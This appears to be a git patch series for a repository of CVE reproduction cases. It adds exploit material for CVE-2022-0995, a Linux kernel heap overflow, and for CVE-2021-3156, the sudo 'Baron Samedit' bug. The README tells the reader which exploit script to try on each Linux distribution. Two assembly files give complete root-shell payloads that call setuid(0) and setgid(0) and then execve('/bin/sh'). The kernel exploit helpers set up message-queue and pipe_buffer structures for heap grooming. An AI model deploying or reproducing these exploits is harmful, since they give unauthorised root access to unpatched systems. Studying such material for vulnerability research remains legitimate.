zoQOHUGFW4$`^$~u`%C?xO%KSs9?clwpbRB?rJJgnHkmjTer^=R-Xwm-s-OEW%qnhp zGy#Dz3X-=P_H3Ei?oeXbNhXx~+OAGWU*TP2`qMSPF5-&>xm3}``6{j?u3RMCHl2tl z`ux3`)g`SXWbU%hlXThhUx_Fxjq!U5%=|^ zO`L-t9O?WXRf8Um{oIcmicg55H?tj)8V*Fq$S(fCr7n5$+=NNSrYW_5DAm_C|BLQgTSa> zoq1#k;_?&`&YR})J#MoFc^)!8I$(CnNhq~q{lM1|s$ts@88NM8;ugONdC}PLX_lSe zS3n?Yz7)RmSJ~i9L(ZZ)!ze4SH2hID%1KZMhCV8{o<4ge=-)UW1ru-^xX8*i=R9K= zAJ$k4x6Xher<#^6Kt&_Qf+Kbd5Cnk{fho9lZWwJckvZn9>I9UDj7m&I(A4W->9|i1 z&%wrM!3{bC?IP1VO)#Ti#M;7+vsp`*2m(d~NR$U$uY3x%eq3P!Ut}6}7%{CTI!81+ z9qz9l39$=WTUqal*?cnWDXvBiCkggfUmA*9Q086oj9e)~(WRVy6eH-B_^nM27&CHY zwJyEJ^iqAKe_ba~~GdVUnSO0U_q_Q%exS$Da_%Mt)cH+%74ZmF4ILa4r zH*tO7oJc-Bzfe6ew=!=#DVhyf5ufLskjM*pztOZaZq3{T&K}VovO3$cOfz_QP@`RM znpre?Ax`J57`?dt+a<^R3Cg8A!k0C-n0$itV?#d}T~`!1?!6I0LN^`WaxkR2$RI&m zt8wZ@UVlGH0%TAUqqc7Xe^19Pc-7M(U@`4Vq$x?YW{_D{G3kT*Gu6}Bni^vK282c* znYn?_`F0-pJC10aG9m_R#S9zGVM3~Y0%r`>b73Mn-fl~d_08i=X&PhNR?Z;3d|wOr zrijJmv&r^`ZP(Q7c@wIrX-x6tMPnnO`@FBVw!Ak^{GUWa2a3 zS!lz~9!q}73U%~S<4FkWGX!HZ(&}kEhg?8TSQB(LfZfdot;EenBqly)uofQ8ZXC=f zjYRg8*Qxe3q}8#`_q$CT%KOcG&O4lHvLfS)vp7w+hV~Dds^_M8kR~2}?uT=y^Jn6V zN6rXuZ7=vr5oT!6sADTl!qPaSCXWzDoaJyh=``FPe;-q&12w;9K<=@=5Sb0HhYfE9_Jf4ewF|f&D*bb>ugw1mM)zu6*ii;6PU}`fkj_dED1GA%4K_U z_7l6GZmJohB!M-5=bx6dXslje2W?Ajd=W@lZCSMtwJ2@o)=x?pS(g6XV+{yx@)iFw5nz#>F8(Sp}Sn z67+Jz7V>c#$}WEO;FPyM$E6gepkWQ45WQ2>I_<`k9}*XJ62brpvv1tz6hF>im_!vPd#QXsdd&RH*=V*K2EE<_ zZW)@U>@Wd=r%g5$x@*Kr5ha7y2TAMd9~6%8y4klFn3({h_8HEILSH}tTL#n{7$s>I>jk>}m>sPlkHkyY&3V>}QlHJ11N~Kg z@VJn@NfV*A_pSoRx`pya(bw_nyei{^I%vr0LQ`E|Pl^I^6u^zq&o47_j-2Lqg{jY9 zLfE0H(ighs09~I=E^s*7Y>8IRaP7sk$nzA8-GoDGT;jy+YWeXtN-?{!;qdx)S4LaE zVN~M0qH=m|6B%94Zd!hv*(>pp8rK$tWl|ZWa!b2P!Cah38cucAB|;1diaiD0djkP{&+ z#f_!%77H^60R~Bs%!-TorPq@K1}QoiVV4O+-~UJt4LPB$^lF@PWiT;ToF9bqH_ow? z0}RATixoK@A4D)Ww2-nK97Z%*43v~|ES3M_KuB!k{W4lUDPIs!bB8V%snr?Vxd*^G zp~ZqYOJm~aNjdM;I143wY*~5~Jo#M>FAub?I6Im!C_PTeDem;t-}}lP;Rg|FJB)m* zK%kCzO}t|=4|yS2z|g(HH76u04MdxXaJA;#^4m(dlwA%ycRkGQ)x5_xt)bX)S`deU z(SRX_%>z1M7$^eK9jO?_uYdspya(eQT68vwG^drn>TIw1oo78lmY5BsI6uv>iqcGR z^571ZKlc2~i`yg`yvHPK?bW^1WW1F97XmYH1bu;nSA`KHYruGmGm)A}lu2I(c*6od z7*#ou@!PF#L<}=AVjmo=EKfMmo26&DQRF|G$gvz&|Nc@l(kpchh z2M>(I6C-O^#(oT)YqzvGryC{CB2~SON~5;DuI8LvjV{skX0F&fQM;&IyB*V1Tf_BRa)jP-KP~q>4_2GZ*n_0KfZE57Ha}L( z1AVOXN7VR-q-Rb+8$3I2&SzsMT3X&&`O=Pb89iFzcmOx@Mq7KsY3FD&V7S!qHQ-8< zUBI0D-&wa|%_-q6t8v$zbNH7=xO*)XQ(LYkD8_C6V3FSs3GRj(i>baxffA>Iw&1*B zfap|9p{LkR8XPAfvd7|dvrp4Y)aW4J`X{QQ!D+&XqoY=682)}^DRgnlb2H@Ok~DoT zE>N2ku>$m6Lh!Yn-K!87jg(t2Vy33eJdUVS->7Z=?1ruFVjXJ7j=YP~m;p7Ww}6T{ zcTh!>khKZOSy~vvg2FRj2Cj1eo;vuljwk`vV&?9Mri}FPE|Bdk74x|+A&_Y01E96f zlD?Cw-ob^D&b$y}CC)RQs8}4S(X!QWo&u9*SQ6M_83WXH;aXFzIvc!vEZ1V-Qhrt+ zm+VbDe6H_(5uV$tJ2-q=Eoi^TF1rlulxym8-?N=WrA$Llll<1&{d})Zak>|r%K#Hw z!uHd_htQ^Kg)Ly$X7GjX;4Z$9iFeNufb4g08ast_WgsyMxIV z)$SXyL^L==Z2QI1ohIEthQ9%z zK3}vixfW9cjOiR@LeX0&!+TX`Xpfw;)A{2!;*HL@EutXsq=YO$CEtA0@cZ=;iYWnA zubCE6O&Gx>*QU8SOU?kRt4fpFQjK{BtQF4n(2(!0TT!{=T&@KwsHne*)qi_jIdz&0 zts&z&DE>3#h?zWKx>`8bV9Q7O=NU=$w7qgyS#wp<`7o~`LR`|Tc;6KW9TDb)amEI# zo{J?47%(A<#nhXW+$Piws5={p1++75Ys!V16^om^nsP&y*6)3^1wBJi?`(~y8`(+% zREfABBsd9^BZGZ#1#7~{N@JNLa$V1#8Eoi7?k7fGPgOUeaZcoh3XTzNE<5UWlvPJn z@fnJzd%A{}9?;LA=Dl@JSl!ombTEJ2;tu!AM$o-;yKQL0_<~svtklS}rMO|scM8t2 z!gSPi4qV)nCa4}al$oKkoE3!XV4ozlC-%>$ZlL2WjMp};`#j@a`xjK%x@JN=!uAW4 zCAAfr@50b@skJlY>qrY^S7z{r=c!k9LL(9#-%0(^3zD(sR&V0!+s(i|j25H3;)53Y z%xbSs!)r71&25!eCh{F1grN+ZTADRwTLDvfR$A-m+I%^|=CsBGD^%iEP26x#NYu3& zU(7Nf!&W<18zeLwWippGjm1#(Vg}e%=hc#p65Tvr=@Z(Ii>ee$u||CU_;QGM^BwuT z=(Z}e6kDF8=_+58L>O8t7Rz}U*ZXWuIHKjfO;UqfkWJ2d8UszW>su}3sjssz&}pca zgn+`<{?=+2#1!V^rL(G2?3CY<(0vBZ@uYcU=Pc*fbY=~n;w*NdDTli;tIeh4gG`jr zhNxW47XFBxB4gAMulv!JNbND;53*J~kz)i)%l$~H<@or>2wBOYGqJh!DVZBwwc-L# z%RHiZ*7DwPZOiq134)^{m|2QmuiTXGwzbVnadQN~!NXmZWc>|rk*z_r2iR=$bA1$( zPJ09BG~~1ikqB9u(|5L{ET2PA+UO3IgCiiz`25x?W8&Dmx(3N)7>J}O`PS*2ags&k zIyf-9kNwC!Q@ysv3(V_FRHxDf%mp8elT&vL(Ju)BF!#D<+7UDpuB<*OjaL&R#N4I> z=CkMcFsOuWQIFdf;fiAD(8P|DDkWUhS+><4!G5^{if2r?N>gvu8JAD>) z+X%Q=Zyg!3Bm`37F)MWzt`_mjJ>r`78PV4mQEY`e!j+#LxX2qwa#+N6s2de66eh-G zA;%6AHhnXiQ$VLFo^XxMBjvHn?~QhBayhGsi?jrVzH2?wj=lq#V7bjX81*BlzAUKH zz>n4Q-RLF{-OwRKP2A2=#j=g;wpiw)Hp(pc@zCPG^Sx%5o9momJM9~H0M!rKIh=hHqK|}W5P?NnCduyq|^}X*Bn~u`D`84 z&OYVonV4r3_EAS2b?mHVKm7PALfGPn9}d!{)hHi9XH#!^4JBAVmz7b$(7Y4% z6ZO&Z2JMdsyX|;PDjJEQH7KKItwpPg{&pvv!Gvr$ZL(}WmG>6GQ`a^I{+#->U z&GUg7&l>JIBctn!$LJ>1>l0PhMjuTioby=vxi3IK-t#q_=db2otr6R^@lI90JwPoD z#J^aHQe@mC;AP_cxnT N^0F#2ptm2t{y%D3IHdpp literal 0 HcmV?d00001 diff --git a/cve/linux-kernel/2022/CVE-2022-0995/util.c b/cve/linux-kernel/2022/CVE-2022-0995/util.c new file mode 100644 index 00000000..051d36a5 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/util.c @@ -0,0 +1,32 @@ +#include "util.h" + +int32_t make_queue(key_t key, int msgflg) { + int32_t result; + if ((result = msgget(key, msgflg)) == -1) { + perror("msgget failure"); + exit(-1); + } + return result; +} + +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) { + ssize_t ret; + ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg); + if (ret < 0) { + perror("msgrcv"); + exit(-1); + } + return ret; +} + +ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) { + return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg); +} + +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) { + if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) { + perror("msgsend failure"); + exit(-1); + } + return; +} diff --git a/cve/linux-kernel/2022/CVE-2022-0995/util.h b/cve/linux-kernel/2022/CVE-2022-0995/util.h new file mode 100644 index 00000000..b8abd9f9 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/util.h @@ -0,0 +1,52 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct { + long mtype; + char mtext[1]; +} msg; + +typedef struct { + uint64_t m_list_next; + uint64_t m_list_prev; + uint64_t m_type; + uint64_t m_ts; + uint64_t next; + uint64_t security; +} msg_msg; + +struct pipe_buffer { + uint64_t page; + uint32_t offset, len; + uint64_t ops; + uint32_t flags; + uint64_t prv; +}; + +struct pipe_buf_operations { + uint64_t confirm; + uint64_t release; + uint64_t try_steal; + uint64_t get; +}; + +int32_t make_queue(key_t key, int msgflg); +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); +ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg); \ No newline at end of file diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml new file mode 100644 index 00000000..6cbe8968 --- /dev/null +++ b/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-0995 +source: https://github.com/Bonfee/CVE-2022-0995 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + pipe的ioctl功能IOC_WATCH_QUEUE_SET_FILTER中存在堆溢出,可造成本地提权。 + scope-of-influence: + Linux kernel <5.17-rc7 + reference: + - https://ubuntu.com/security/CVE-2022-0995 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0995 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-0995 + cwe-id: CWE-787 + cnvd-id: + kve-id: + tags: 内核越界,权限提升,cve2022 \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index b545c6c0..0da73d52 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -1,3 +1,5 @@ #此收录漏洞列表为非openKylin发行版用例。 cve: + linux-kernel: + - CVE-2022-0995 cnvd: \ No newline at end of file -- Gitee From fb3ce9057a43beb20f6983fbf3c4b70d00146536 Mon Sep 17 00:00:00 2001 From: yangjipeng Date: Tue, 25 Oct 2022 17:11:11 +0800 Subject: [PATCH 2/2] UPDATE CVE-2021-3156 --- cve/sudo/2021/CVE-2021-3156/LICENSE | 28 + cve/sudo/2021/CVE-2021-3156/Makefile | 11 - cve/sudo/2021/CVE-2021-3156/README.md | 49 +- cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm | 89 +++ cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm | 58 ++ cve/sudo/2021/CVE-2021-3156/exp.png | Bin 0 -> 31657 bytes cve/sudo/2021/CVE-2021-3156/exploit.c | 108 --- .../CVE-2021-3156/exploit_cent7_userspec.py | 193 +++++ .../CVE-2021-3156/exploit_defaults_mailer.py | 424 ++++++++++ cve/sudo/2021/CVE-2021-3156/exploit_nss.py | 261 +++++++ cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py | 102 +++ .../2021/CVE-2021-3156/exploit_nss_manual.py | 49 ++ .../2021/CVE-2021-3156/exploit_nss_u14.py | 107 +++ .../2021/CVE-2021-3156/exploit_nss_u16.py | 102 +++ .../CVE-2021-3156/exploit_timestamp_race.c | 332 ++++++++ .../2021/CVE-2021-3156/exploit_userspec.py | 736 ++++++++++++++++++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7 | 79 ++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8 | 76 ++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10 | 63 ++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9 | 77 ++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14 | 77 ++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16 | 77 ++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18 | 77 ++ cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py | 37 + cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py | 31 + cve/sudo/2021/CVE-2021-3156/gdb/parse.py | 193 +++++ cve/sudo/2021/CVE-2021-3156/gdb/patch.py | 64 ++ .../450acf1a2f14793aafa987905b20eeba.png | Bin 103839 -> 0 bytes cve/sudo/2021/CVE-2021-3156/shellcode.c | 34 - cve/sudo/2021/yaml/CVE-2021-3156.yaml | 2 +- 30 files changed, 3362 insertions(+), 174 deletions(-) create mode 100644 cve/sudo/2021/CVE-2021-3156/LICENSE delete mode 100644 cve/sudo/2021/CVE-2021-3156/Makefile create mode 100644 cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm create mode 100644 cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm create mode 100644 cve/sudo/2021/CVE-2021-3156/exp.png delete mode 100644 cve/sudo/2021/CVE-2021-3156/exploit.c create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_cent7_userspec.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_defaults_mailer.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_nss.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_nss_manual.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_nss_u14.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_nss_u16.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_timestamp_race.c create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_userspec.py create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/parse.py create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/patch.py delete mode 100644 cve/sudo/2021/CVE-2021-3156/images/450acf1a2f14793aafa987905b20eeba.png delete mode 100644 cve/sudo/2021/CVE-2021-3156/shellcode.c diff --git a/cve/sudo/2021/CVE-2021-3156/LICENSE b/cve/sudo/2021/CVE-2021-3156/LICENSE new file mode 100644 index 00000000..382d7c95 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/LICENSE @@ -0,0 +1,28 @@ +Copyright (c) 2021, Worawit Wangwarunyoo +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following disclaimer + in the documentation and/or other materials provided with the + distribution. + * Neither the name of the project nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/cve/sudo/2021/CVE-2021-3156/Makefile b/cve/sudo/2021/CVE-2021-3156/Makefile deleted file mode 100644 index c1b1fa05..00000000 --- a/cve/sudo/2021/CVE-2021-3156/Makefile +++ /dev/null @@ -1,11 +0,0 @@ -all: shellcode exploit - -shellcode: shellcode.c - mkdir libnss_x - $(CC) -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c - -exploit: exploit.c - $(CC) -O3 -w -o exploit exploit.c - -clean: - rm -rf libnss_x exploit diff --git a/cve/sudo/2021/CVE-2021-3156/README.md b/cve/sudo/2021/CVE-2021-3156/README.md index fcd7ce96..17e5f4bd 100644 --- a/cve/sudo/2021/CVE-2021-3156/README.md +++ b/cve/sudo/2021/CVE-2021-3156/README.md @@ -1,30 +1,39 @@ -# CVE-2021-3156 +# CVE-2021-3156 (Sudo Baron Samedit) -![2021-02-10-02-18-07](images/450acf1a2f14793aafa987905b20eeba.png) +This repository is CVE-2021-3156 exploit targeting Linux x64. For writeup, please visit https://datafarm-cybersecurity.medium.com/exploit-writeup-for-cve-2021-3156-sudo-baron-samedit-7a9a4282cb31 +Credit to [Braon Samedit of Qualys for the original advisory](https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt). -> This is a warehouse modification based on [@CptGibbon](https://github.com/CptGibbon/CVE-2021-3156 ) and supports arbitrary command execution. +--- -相关阅读:[CVE-2021-3156 - Exploit修改](https://payloads.online/archivers/2021-02-09/1) +### Files -#### Root shell PoC for CVE-2021-3156 (no bruteforce) +##### Exploit on glibc with tcache + * **exploit_nss.py** auto detect all requirements and number of entries in /etc/nsswitch.conf + * **exploit_nss_manual.py** simplified version of exploit_nss.py for better exploit understanding + * **exploit_timestamp_race.c** overwrite def_timestamp and race condition to modify /etc/passwd -For educational purposes etc. +##### Exploit on glibc without tcache + * **exploit_defaults_mailer.py** the exploit overwrite struct defaults to modify mailer binary path. It requires sudo compiled without disable-root-mailer such as CentOS 6 and 7. + * **exploit_userspec.py** the exploit overwrite struct userspec to bypass authentication and add a new user in /etc/passwd. Support only sudo version 1.8.9-1.8.23. + * **exploit_cent7_userspec.py** simplified version of exploit_userspec.py for understanding but target only CentOS 7 with default configuration + * **exploit_nss_d9.py** overwrite struct service_user on Debian 9 but support only default /etc/nsswith.conf + * **exploit_nss_u16.py** overwrite struct service_user on Ubuntu 16.04 but support only default /etc/nsswith.conf + * **exploit_nss_u14.py** overwrite struct service_user on Ubuntu 14.04 but support only default /etc/nsswith.conf -Tested on : +##### Others + * **asm/** tinyelf library and executable for embedded in python exploit + * **gdb/** scripts that used for debugging sudo heap -- @CptGibbon Ubuntu 20.04 against sudo 1.8.31 -- @Rvn0xsy Ubuntu 17.10 +--- -All research credit: **Qualys Research Team** -Check out the details on their [blog](https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit). +### Choosing exploit +*For Linux distributions that glibc has tcache support and enabled (CentOS 8, Ubuntu >= 17.10, Debian 10):* + * try **exploit_nss.py** first + * If an error is not glibc tcache related, you can try **exploit_timestamp_race.c** next -You can check your version of sudo is vulnerable with: `$ sudoedit -s Y`. -If it asks for your password it's most likely vulnerable, if it prints usage information it isn't. -You can downgrade to the vulnerable version on Ubuntu 20.04 for testing purposes with `$ sudo apt install sudo=1.8.31-1ubuntu1` - -#### Usage - -`$ make` - -`$ ./exploit "Command"` +*For Linux distribution that glibc has no tcache support:* + * if a target is Debian 9, Ubuntu 16.04, or Ubuntu 14.04, try **exploit_nss_xxx.py** for specific version first + * next, try **exploit_defaults_mailer.py**. If you know a target sudo is compiled with *--disable-root-mailer*, you can skip this exploit. The exploit attempt to check root mailer flag from sudo binary. But sudo permission on some Linux distribution is 4711 (-rws--x--x) which is impossible to check on target system. (Known work OS is CentOS 6 and 7) + * last, try **exploit_userspec.py** +![](exp.png) \ No newline at end of file diff --git a/cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm b/cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm new file mode 100644 index 00000000..ad277180 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm @@ -0,0 +1,89 @@ +; nasm -f bin -o tinylib tinylib.asm +BITS 64 + org 0 + +ehdr: ; Elf64_Ehdr + db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident + times 8 db 0 + dw 3 ; e_type + dw 0x3e ; e_machine + dd 1 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw 0x38 ; e_phentsize + dw 2 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + ehdrsize equ $ - ehdr + +phdr: ; Elf64_Phdr + ; LOAD + dd 1 ; p_type + dd 7 ; p_flags RWE + dq 0 ; p_offset + dq 0 ; p_vaddr + dq 0 ; p_paddr + dq filesize ; p_filesz + dq filesize ; p_memsz + dq 0x1000 ; p_align + ; DYNAMIC + dd 2 + dd 7 ; RWE + dq dynamic + dq dynamic + dq dynamic + dq dynsize + dq dynsize + dq 0x8 + +dynamic: + ; DT_INIT + dq 12 + dq _start + ; DT_STRTAB + dq 5 + dq 0 + ; DT_SYMTAB + dq 6 + dq 0 + ; DT_STRSZ + dq 0xa + dq 0 + ; DT_SYMENT + dq 0xb + dq 0 + ; DT_NULL (ending) + dq 0 + dq 0 +dynsize equ $ - dynamic + + +_start: + ; setuid(0) + push 105 + pop rax + xor edi, edi + syscall + + ; setgid(0) + push 106 + pop rax + ;xor edi, edi ; edi is still 0 + syscall + + ; ececve("/bin/sh", 0, 0) + xor esi, esi + mov rax, 0x0068732f6e69622f ; '/bin/sh\0' + push rax + push rsp + pop rdi + push 59 + pop rax + cdq + syscall + +filesize equ $ - $$ diff --git a/cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm b/cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm new file mode 100644 index 00000000..e84e5fa7 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm @@ -0,0 +1,58 @@ +; nasm -f bin -o tinysh tinysh.asm +BITS 64 + org 0x400000 + +ehdr: ; Elf64_Ehdr + db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident + times 8 db 0 + dw 2 ; e_type + dw 0x3e ; e_machine + dd 1 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw 0x38 ; e_phentsize + dw 1 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + ehdrsize equ $ - ehdr + +phdr: ; Elf64_Phdr + dd 1 ; p_type + dd 5 ; p_flags + dq 0 ; p_offset + dq $$ ; p_vaddr + dq $$ ; p_paddr + dq filesize ; p_filesz + dq filesize ; p_memsz + dq 0x1000 ; p_align + + +_start: + ; setuid(0) + push 105 + pop rax + ;xor edi, edi + syscall + + ; setgid(0) + push 106 + pop rax + ;xor edi, edi ; edi is still 0 + syscall + + ; ececve("/bin/sh", 0, 0) + ;xor esi, esi + mov rax, 0x0068732f6e69622f ; '/bin/sh\0' + push rax + push rsp + pop rdi + push 59 + pop rax + cdq + syscall + +filesize equ $ - $$ diff --git a/cve/sudo/2021/CVE-2021-3156/exp.png b/cve/sudo/2021/CVE-2021-3156/exp.png new file mode 100644 index 0000000000000000000000000000000000000000..a094917a6a90a947140110cffd31bb134f357738 GIT binary patch literal 31657 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 